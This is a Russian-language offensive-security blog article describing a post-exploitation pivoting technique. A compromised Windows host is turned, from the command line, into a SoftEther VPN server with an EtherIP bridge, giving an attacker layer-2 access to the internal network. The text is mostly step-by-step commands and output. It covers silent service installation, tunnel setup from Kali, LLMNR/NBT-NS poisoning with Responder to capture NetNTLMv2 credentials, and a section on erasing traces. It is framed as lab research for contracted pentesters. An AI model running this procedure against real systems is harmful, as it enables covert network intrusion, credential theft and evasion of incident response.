Pivoting
March 25, 2024

Witchhammer. Пост-эксплуатация Windows с использованием виртуальных VPN-каналов

Пивотинг против Windows является достаточно сложным процессом, особенно если мы говорим о построении туннелей. В этой статье я продемонстрирую новый найденный мною метод пост-эксплуатации Windows с использованием SoftEther без виртуальной машины.

Caster - Witchhammer

Genre: Offensive, Experimenal
Subgenre: Pivoting
Label: Teletype
Release Date: 25 March 2024

Disclaimer

Статья носит ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование по контракту. Автор и редакция не несут ответственности за любой вред, причиненный использованием представленной информации. Распространение вредоносного ПО, нарушение работы систем и тайны переписки будет преследоваться по закону.

Автор данной статьи и ресурс Teletype не несут ответственности за любой причиненный вред с помощью данной статьи.

Закон о блокировке материалов, связанными с обходом фильтрации VPN

В данной статье продемонстрирован метод пост-эксплуатации Windows с помощью построения VPN-туннелей, однако данная статья никаким образом не является инструкцией по обходу блокировок ресурсов, запрещенных на территории Российской Федерации.

VPN может использоваться как метод обхода фильтрации, так и для построения сетевых инфраструктур в легитимных целях. Важно понимать этот нюанс.

Intro

Пивотинг является процессом пост-эксплуатации, при котором пентестер пытается расширить своё присутствие сети, минуя помехи, средства защиты и сегментацию. Термин "пивотинг" возник от слова "pivot", которое переводится как "вращаться".

На самом деле нет единого мнения о том, какой из методов пивотинга лучше. Все зависит от индивидуальных особенностей сетевой инфраструктуры.
В своем исследовании я расскажу о туннельном пивотинге, когда злоумышленник может построить L2-туннель между собой и скомпрометированной машиной Windows. Туннель L2 открывает перед злоумышленником возможности атак канального уровня. (ARP Spoofing, LLMNR/NBT-NS Poisoning и др)

В статье будет сделан акцент только на практике, все в меру, без лишних слов.

Концепция

Моя идея заключается в использовании SoftEther. Это решение представляет собой возможность создания VPN-сетей для построения инфраструктур. Я выбрал его потому, что:

  • Открытый исходный код, кроссплатформенность
  • Поддерживает необходимые протоколы туннелирования для создания Ethernet-туннелей
  • Не требует перезагрузки и отключения брандмауэра
  • Нет проблем с AV, так как SoftEther является легитимным программным обеспечением.

Концепция заключается в установке SoftEther на Windows в тихом режиме с помощью командной строки. Я продемонстрирую именно этот сценарий, поскольку не каждый раз у пентестера будет доступ к графическому интерфейсу во время пентеста. С помощью SoftEther мы превратим скомпрометированную Windows-машину в VPN-сервер, поддерживающий Ethernet-туннели.

Следует иметь в виду, что для работы с этим вектором потребуются права администратора. Так как тебе придется устанавливать программное обеспечение, работать с интерфейсами и мостами.

EtherIP

Скелетом этого пивотинга является протокол EtherIP. Согласно RFC 3378, он способен передавать кадры Ethernet поверх IP. Как раз то, что нужно. Можно подумать, что для этой цели подойдет Wireguard, но он является протоколом L3 и не может передавать кадры Ethernet. Важно понимать, какой протокол предназначен для работы с L2, а какой - с L3.

EtherIP инкапсулирует заголовок Ethernet в заголовок IP. Вот пример такого инкапсулированного пакета.

Заголовок EtherIP (16 байт)

Сценарий

Сценарий будет выглядеть следующим образом. Атакующий находится в сети 192.168.54.0/24, скомпрометированный Windows-хост - в сети 192.168.0.0/24. Задача злоумышленника - получить доступ к сети 192.168.0.0/24 на уровне L2, используя EtherIP-туннель для проведения атак канального уровня. EtherIP-туннель будет установлен между Kali Linux и Windows. Машиной атакующего будет Kali Linux 2023.4, на которую будет установлен SoftEther Client, в качестве скомпрометированного хоста выступит Windows 10 Enterprise LTSC x64, на хост будет установлен SoftEther Server. Атакующий имеет доступ к машине Windows только через терминал, графический интерфейс отсутствует.

Эта сеть создана мной в качестве лабораторного стенда для практической демонстрации пост-эксплуатации.

Лабораторная сеть

Предупреждение

Данный вектор пост-эксплуатации будет работать только против реальных машин Windows, с виртуальными Windows наблюдаются проблемы с прохождением трафика из-за потенциально отсутствующего неразборчивого режима.

Конфигурация серверной части

Необходимо установить SoftEther Server на Windows. Программа установки имеет проблемы с установкой в тихом режиме, поэтому нужно будет установить программу установки SoftEther VPN Server куда-нибудь на тестовую Windows, затем скопировать всю папку "SoftEther VPN Server", запаковать ее в архив. Затем, когда ты передашь этот архив по сети на скомпрометированный хост, ты сможешь распаковать его и установить SoftEther. В данном случае понадобится установить только одну службу и можно начать работать.

C:\witchhammer>tar -xf softether.zip
C:\witchhammer>cd "SoftEther VPN Server"

Ответственный момент. Для корректной работы сервера необходимо установить службу sevpnserver. Это делается одной командой с параметром /install, при этом никаких окон об установке этой службы на стороне пользователя не появится.

C:\witchhammer\SoftEther VPN Server>vpnserver_x64.exe /install

После установки этой службы она будет запущена автоматически, проверим её состояние

C:\witchhammer\SoftEther VPN Server>sc query sevpnserver

SERVICE_NAME: sevpnserver
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

Теперь после установки службы можно приступить к процессу конфигурации серверной части, для этого используется vpncmd_x64.exe

vpncmd command - SoftEther VPN Command Line Management Utility
SoftEther VPN Command Line Management Utility (vpncmd command)
Version 4.43 Build 9799   (English)
Compiled 2023/08/31 10:50:49 by buildsan at crosswin with OpenSSL 3.0.9
Copyright (c) 2012-2023 SoftEther VPN Project. All Rights Reserved.

By using vpncmd program, the following can be achieved.

1. Management of VPN Server or VPN Bridge
2. Management of VPN Client
3. Use of VPN Tools (certificate creation and Network Traffic Speed Test Tool)

Select 1, 2 or 3: 1

Для управления работы сервером также нужно создать пароль. Также нужно будет удалить виртуальный hub по умолчанию и создать свой, также указав для него пароль

VPN Server> ServerPasswordSet password
VPN Server> HubDelete DEFAULT
VPN Server> HubCreate Witchhammer /PASSWORD:password
Все последующие пароли в конфигурациях являются всего лишь примером, пароли придумывай сам.

После того, когда hub был создан, необходимо перейти в его параметры и настроить политику построения туннеля. Нам не нужны протоколы L2TP, L2TPRAW, поэтому для них аргумент :noА вот параметр /ETHERIP:yesявляется здесь ключевым. Именно он будет указывать ПО на то, чтобы был построен именно EtherIP-туннель. Именно он и нужен для функционирования L2-туннелей.

VPN Server> Hub Witchhammer
VPN Server/Witchhammer> IPSecEnable /L2TP:no /L2TPRAW:no /ETHERIP:yes /DEFAULTHUB:Witchhammer /PSK:password

После настройки хаба и политики туннеля нужно создать бридж. Для его создания нужно знать полное имя физического интерфейса ОС. С помощью команды BridgeDeviceListможно узнать имя интерфейса

VPN Server>BridgeDeviceList
BridgeDeviceList command - Get List of Network Adapters Usable as Local Bridge
Intel(R) 82574L Gigabit Network Connection (ID=0587757899)
The command completed successfully.

В моём случае полное имя интерфейса - Intel(R) 82574L Gigabit Network Connection (ID=0587757899)

После того когда известно полное имя интерфейса, можно приступить к процессу создания бриджа.

VPN Server>BridgeCreate Witchhammer /DEVICE:"Intel(R) 82574L Gigabit Network Connection (ID=0587757899)" /TAP:yes

И последнее что осталось, это создать пользователя, с помощью которого атакующий сможет аутентифицироваться на сервере и инициировать подключение. Создание пользователя происходит именно в рамках настроек хаба, имей в виду

VPN Server/Witchhammer>UserCreate caster /GROUP:none /REALNAME:none /NOTE:none
VPN Server/Witchhammer>UserPasswordSet caster /PASSWORD:password

На данном этапе конфигурация серверной части завершена, но нужно учесть несколько нюансов:

  • Убедись что служба Routing and Remote Accessактивна, с помощью неё ОС может выполнять маршрутизацию трафика
  • Убедись что порт TCP/443не фильтруется системой на скомпрометированном хосте, так как именно этот порт и будет использоваться для подключения атакующего к серверу SoftEther

Начало пост-эксплуатации

На своей Kali Linux атакующий должен установить SoftEther Client. Его можно загрузить с официального сайта. Затем загруженный архив нужно распаковать, собрать исполняемые файлы и запустить их, задача несложная.

caster@kali:~$ sudo apt install build-essential
caster@kali:~$ wget https://www.softether-download.com/files/softether/v4.43-9799-beta-2023.08.31-tree/Linux/SoftEther_VPN_Client/64bit_-_Intel_x64_or_AMD64/softether-vpnclient-v4.43-9799-beta-2023.08.31-linux-x64-64bit.tar.gz
caster@kali:~$ gunzip softether-vpnclient-v4.43-9799-beta-2023.08.31-linux-x64-64bit.tar.gz
caster@kali:~$ tar xf softether-vpnclient-v4.43-9799-beta-2023.08.31-linux-x64-64bit.tar
caster@kali:~$ cd vpnclient
caster@kali:~/vpnclient$ make

Однако перед построением туннеля очень важно настроить предварительно /32-маршрут до скомпрометированного хоста. Иначе при получении адреса на виртуальном интерфейсе атакующего может возникнуть разрыв туннеля. Маршрут настраивается через шлюз по умолчанию для атакующей системы

caster@kali:~$ sudo route add -net 192.168.0.183 netmask 255.255.255.255 gw 192.168.54.1

Теперь необходимо запустить службу vpnclientи с помощью vpncmdперейти к процессу настройки конфигурации на клиентской стороне.

caster@kali:~/vpnclient$ sudo ./vpnclient start

caster@kali:~/vpnclient$ sudo ./vpncmd         
vpncmd command - SoftEther VPN Command Line Management Utility
SoftEther VPN Command Line Management Utility (vpncmd command)
Version 4.43 Build 9799   (English)
Compiled 2023/08/31 10:50:49 by buildsan at crosswin with OpenSSL 3.0.9
Copyright (c) 2012-2023 SoftEther VPN Project. All Rights Reserved.

By using vpncmd program, the following can be achieved. 

1. Management of VPN Server or VPN Bridge 
2. Management of VPN Client
3. Use of VPN Tools (certificate creation and Network Traffic Speed Test Tool)

Select 1, 2 or 3: 2

Specify the host name or IP address of the computer that the destination VPN Client is operating on. 
If nothing is input and Enter is pressed, connection will be made to localhost (this computer).
Hostname of IP Address of Destination: localhost

Connected to VPN Client "localhost".

VPN Client>

После подключения к панели управления клиентской службой SoftEther необходимо создать виртуальный TAP-интерфейс для взаимодействия с целевой сетью где скомпрометированный хост

VPN Client> NicCreate caster

Теперь необходимо создать конфигурацию подключения, указать адрес сервера, имя удаленного хаба и имя созданного адаптера. Обрати внимание, что адрес сервера - это адрес скомпрометированной машины, на которой был настроен сервер SoftEther.

VPN Client> AccountCreate Tunnel /SERVER:192.168.0.183:443 /HUB:Witchhammer /USERNAME:caster /NICNAME:caster

Теперь нужно настроить тип аутентификации и указать пароль. Тип аутентификации - Standard

VPN Client> AccountPassword Tunnel /PASSWORD:password /TYPE:standard

После чего можно подключиться к серверу

VPN Client> AccountConnect Tunnel

Чтобы оценить его статус, можно воспользоваться следующей командой

VPN Client>AccountStatusGet Tunnel
AccountStatusGet command - Get Current VPN Connection Setting Status
Item                                      |Value
------------------------------------------+--------------------------------------------------------
VPN Connection Setting Name               |Tunnel
Session Status                            |Connection Completed (Session Established)
VLAN ID                                   |-
Server Name                               |192.168.0.183
Port Number                               |TCP Port 443
Server Product Name                       |SoftEther VPN Server (64 bit)
Server Version                            |4.43
Server Build                              |Build 9799
Connection Started at                     |2024-03-25 (Mon) 06:25:27
First Session has been Established since  |2024-03-25 (Mon) 06:25:28
Current Session has been Established since|2024-03-25 (Mon) 06:25:28
Number of Established Sessions            |1 Times
Half Duplex TCP Connection Mode           |No (Full Duplex Mode)
VoIP / QoS Function                       |Enabled
Number of TCP Connections                 |2
Maximum Number of TCP Connections         |2
Encryption                                |Enabled (Algorithm: TLS_AES_256_GCM_SHA384)
Use of Compression                        |No (No Compression)
Physical Underlay Protocol                |Standard TCP/IP (IPv4)
                                          |IPv4 UDPAccel_Ver=2 ChachaPoly_OpenSSL UDPAccel_MSS=1309
UDP Acceleration is Supported             |Yes
UDP Acceleration is Active                |No
Session Name                              |SID-CASTER-4
Connection Name                           |CID-17-1CDA4CF82B
Session Key (160 bit)                     |13A093D2121AE90B984595DE8D5ED3539678CF4A
Bridge / Router Mode                      |No
Monitoring Mode                           |No
Outgoing Data Size                        |1,218 bytes
Incoming Data Size                        |819 bytes
Outgoing Unicast Packets                  |1 packets
Outgoing Unicast Total Size               |42 bytes
Outgoing Broadcast Packets                |8 packets
Outgoing Broadcast Total Size             |656 bytes
Incoming Unicast Packets                  |0 packets
Incoming Unicast Total Size               |0 bytes
Incoming Broadcast Packets                |1 packets
Incoming Broadcast Total Size             |60 bytes
The command completed successfully.

Инкапсуляция в TLS

Перед тобой трафик, в момент подключения атакующего к серверу SoftEther. EtherIP будет инкапсулирован в TLS-слой, это достаточно позитивно сказывается на том, чтобы снизить вероятность компрометации действий атакующего.

Трафик в момент подключения к серверу

Проведение сетевых атак

После всех манипуляций мы имеем виртуальный TAP-адаптер - vpn_casterОн и будет использоваться для взаимодействия с целевой статью, когда атакующий пропивотился. На данный момент у него нет адреса, но его можно получить автоматически с помощью DHCP

Интерфейс vpn_caster
caster@kali:~$ sudo dhclient -v vpn_caster
Полученный адрес на интерфейсе

Однако стоит помнить, что новая информация о шлюзе по умолчанию может прилететь через DHCP, и новый маршрут 0.0.0.0 может повлиять на сетевую связность в системе атакующего. Поэтому, если такой маршрут появится, его следует удалить.

caster@kali:~$ sudo route del default

Proof of Concept

Теперь атакующий может проводить атаки канального уровня, для доказательства работоспособности вектора я запустил Responder и перехватил учетные данные в формате NetNTLMv2-SSP

LLMNR/NBT-NS Spoofing внутри туннеля

Также атакующий может проводить и другие атаки, ARP-сканирование, etc

Запись из моей тетради

Witchhammer...

Заметание следов

Ког­да понадо­бит­ся затереть сле­ды, необ­ходимо остановить службу sevpnserver, уда­лить сам SoftEther и папку.

C:\witchhammer\SoftEther VPN Server>sc stop sevpnserver

SERVICE_NAME: sevpnserver
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x186a0

C:\witchhammer\SoftEther VPN Server>vpnserver_x64.exe /uninstall

C:\>rmdir /s /q c:\witchhammer

Outro

В этой статье я продемонстрировал свое исследование, показывающее новый способ постэксплуатации Windows с помощью Ethernet-туннелей.
Этот метод чрезвычайно экзотичен, но я доказал его практичность.